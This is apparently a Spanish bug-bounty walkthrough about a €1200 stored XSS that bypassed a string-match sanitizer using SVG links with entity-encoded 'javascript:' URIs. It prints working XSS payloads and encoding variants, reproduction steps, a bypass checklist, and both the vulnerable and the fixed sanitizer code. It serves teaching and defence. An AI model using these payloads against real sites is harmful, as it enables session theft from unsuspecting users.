Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel IntermedioCon cuentabounty: €1200

Stored XSS €1200 — bypass de sanitizer via SVG href javascript: con entity encoding

Walkthrough de un report real €1200: stored XSS en POE bypassando sanitizer fix mediante SVG con href=`javascript:` y HTML entity encoding sobre los caracteres filtrados.

Gorka El Bochi11 de mayo de 202612 min

Respuesta rápida

Reporte real de stored XSS de €1200 en una aplicación POE (Proof-of-Existence). El sanitizer del backend tenía fix superficial post-incidente previo: filtrado de string literal javascript: pero no de variantes con HTML entity encoding. Bypass final: SVG embedded con <a href="javascript&#58;alert()"> — el &#58; (entity de :) pasa el filtro como string, pero el browser lo decodifica al renderizar → ejecución. Lección: filtros basados en string match son débiles, los sanitizers serios (DOMPurify v3+) parsean el DOM y filtran a nivel atributo/protocolo.


El contexto — POE app con avatar SVG upload

La app permitía subir avatar SVG (vector → escala mejor que PNG). Sanitización a nivel backend con Python bleach library, con whitelist custom:

python
allowed_tags = ["svg", "path", "circle", "rect", "polygon", "a", "g"]
allowed_attrs = {"*": ["fill", "stroke", "d", "href", "transform"]}

Eras tan ingenuo como cualquier dev: si pasa el filter → render directo en <div class="avatar"> con innerHTML. ¿Qué podía salir mal?


Primer attempt — SVG onload

Payload obvio:

xml
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
  <circle r="40" cx="50" cy="50" fill="red"/>
</svg>

Backend stripea onload (no está en allowed_attrs). Render limpio sin XSS.


Segundo attempt — <script> embedded

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

Backend stripea <script> (no en allowed_tags).


Tercer attempt — <a href="javascript:">

Aquí es donde se pone interesante:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:alert(document.domain)">
    <circle r="40" cx="50" cy="50" fill="red"/>
  </a>
</svg>

Backend pasaba <a> y href (ambos whitelisted), pero detectaba javascript: y lo stripeaba:

python
def clean_href(value):
    if "javascript:" in value.lower():
        return ""
    return value

Naive string match. Aquí está el bug del fix.


El bypass — HTML entity encoding

HTML acepta entity encoding en atributos. : puede escribirse &#58;, &#x3A;, &colon;:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <a href="javascript&#58;alert(document.domain)">
    <circle r="40" cx="50" cy="50" fill="red"/>
  </a>
</svg>

Por qué funciona

  1. Backend sanitizer ve el atributo href="javascript&#58;alert(...)" como string. Busca javascript: literal en lowercase. No matchea (el caracter es & # 5 8, no :). Pasa el filter.
  2. Browser parsea el HTML/SVG. Al ver &#58; dentro de un atributo HTML, lo decodifica a :. El atributo final, internamente, es href="javascript:alert(...)".
  3. User clica el SVG → browser ejecuta javascript: URL → XSS en contexto del domain.

[!info] Doble decodificación HTML decoding ocurre antes de la interpretación del valor del atributo. Cualquier filter que matchea contra el string raw del atributo está roto si no decodifica entities primero.

Variantes que también pasaban

xml
<!-- decimal entity -->
href="javascript&#58;alert(1)"

<!-- hex entity -->
href="javascript&#x3A;alert(1)"

<!-- named entity -->
href="javascript&colon;alert(1)"

<!-- tab escape -->
href="java&#9;script:alert(1)"

<!-- newline escape -->
href="java&#10;script:alert(1)"

<!-- case + entity mix -->
href="jaVa&#x53;CRipt:alert(1)"

Cualquiera de estas pasaba el filter.

<!-- PAYWALL -->

Por qué <a> dentro de SVG funciona

SVG soporta <a> como elemento hyperlink (xlink:href en SVG 1.x, href en SVG 2). El <a> envuelve un <circle> (o cualquier shape) → toda la región del shape es clickable. La URL del href se procesa al click.

xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <a xlink:href="javascript&#58;alert(1)">
    <rect width="100" height="100"/>
  </a>
</svg>

xlink:href es deprecated pero browsers todavía lo soportan → otra forma de bypass si el sanitizer solo busca href literal.

Auto-click vector

SVG <animate> permite auto-disparar acciones — combinado con <a> + entity encoded URL puede ser zero-click si el browser permite el animation trigger en SVG estándalone:

xml
<svg>
  <a href="javascript&#58;alert(1)">
    <set attributeName="href" to="..." begin="0s"/>
  </a>
</svg>

En la app POE específica, el avatar se renderiza pero no se "anima" → el bypass requería click manual del user. Aún así, severity High porque era stored y reproducible para cualquier viewer del perfil.


El report — escribir el bypass

El report fue conciso, foco en el bypass del fix:

markdown
## Summary
The sanitization fix for prior XSS issue (string-match of `javascript:`)
is bypassable via HTML entity encoding of the colon character.

## Steps to reproduce
1. Upload SVG avatar with content:
   <svg xmlns="http://www.w3.org/2000/svg">
     <a href="javascript&#58;alert(document.domain)">
       <circle r="40" cx="50" cy="50" fill="red"/>
     </a>
   </svg>
2. Server accepts (filter does not detect &#58; as `:`)
3. Visit attacker profile → click avatar → JS executes in target.com origin

## Root cause
sanitizer.py:clean_href() string-matches against `javascript:` in raw input
but HTML entities (&#58; → `:`) decode at render time.

## Recommended fix
Use DOM-based sanitization (DOMPurify, bleach with css_sanitizer) which
parses HTML/SVG and filters at protocol level (rejecting any javascript:
URI scheme regardless of encoding).

Severity argumentation

  • Stored: ✓ (avatar persistente en perfil).
  • Cross-user: ✓ (cualquier viewer del perfil).
  • Auth context: ✓ (cookies de la víctima al ejecutar).
  • Same-origin: ✓ (avatar se sirve desde target.com).

CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N → 8.7 High.

Reward: €1.200.


El fix correcto

El equipo de seguridad respondió:

python
# Before (vulnerable)
def clean_href(value):
    if "javascript:" in value.lower():
        return ""
    return value

# After (correct)
from urllib.parse import urlparse
import html

def clean_href(value):
    # Decode HTML entities first
    decoded = html.unescape(value)
    
    # Parse URL and check scheme
    try:
        parsed = urlparse(decoded)
        if parsed.scheme.lower() in ("javascript", "data", "vbscript", "file"):
            return ""
    except Exception:
        return ""
    
    return value

Decodifica entities antes de comparar + check del scheme parseado contra allowlist explícita.


Patrones generalizables

Cualquier filter basado en string match es bypaseable

Si el sanitizer hace "javascript:" in input, busca:

  • Entity encoding: &#58;, &#x3A;, &colon;
  • URL encoding: %3A (en URL context)
  • Whitespace tricks: java\tscript:, java\nscript:
  • Case variation: JaVaScRiPt:
  • Backslash escapes (algunos parsers): \j\a\v\a\s\c\r\i\p\t:

SVG es la mina de oro para XSS bypass

SVG es XML embebido en HTML — los parsers a veces difieren. Lista de elementos abusables:

ElementoVector
<svg onload>Direct
<svg><script>Embedded JS
<svg><a href="js:">Link-based
<svg><foreignObject><iframe>Embedded HTML
<svg><animate> + animateTransformTime-based
<svg><use href="data:...">xlink data URI

Whitelist insuficiente sin context

Permitir <a href> parece seguro — pero href acepta javascript:, data:, file:. Whitelist tiene que ser per-attribute y per-protocol, no per-tag.


Hunting checklist

  • SVG upload endpoints — siempre probar SVG payloads.
  • Sanitizer-based apps: identifica qué library usan (bleach, DOMPurify, sanitize-html), versión + config.
  • String-match filters: bypass con entity encoding, case, whitespace.
  • <a> con href: prueba javascript:, data:text/html,..., vbscript:.
  • Variantes encoding: &#58;, &#x3A;, &colon;, %3A.
  • xlink:href en SVG si solo filtran href.
  • Where is render? innerHTML (XSS) vs <img> (limited) vs sandboxed <iframe> (mitigated).
  • Stored vs reflected: el SVG persiste en avatar/profile?
  • Auto-trigger possible? <animate>, <set>, onload (si pasa).
  • Documenta bypass del fix anterior con énfasis (incrementa bounty).

Labs relacionados

Practica SVG XSS, sanitizer bypass y entity encoding en labs de stored XSS.

Practica esto en un lab

Stored Xss Svg Href Javascript

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta
Premium · 1 técnica más

Hay un payload extra al final

Los 7 patterns de SVG que bypassean DOMPurify cuando el sanitizer está mal configurado — todos detectables en <30 segundos con Burp.

Desbloquear

5 €/mes · cancela cuando quieras

Artículos relacionados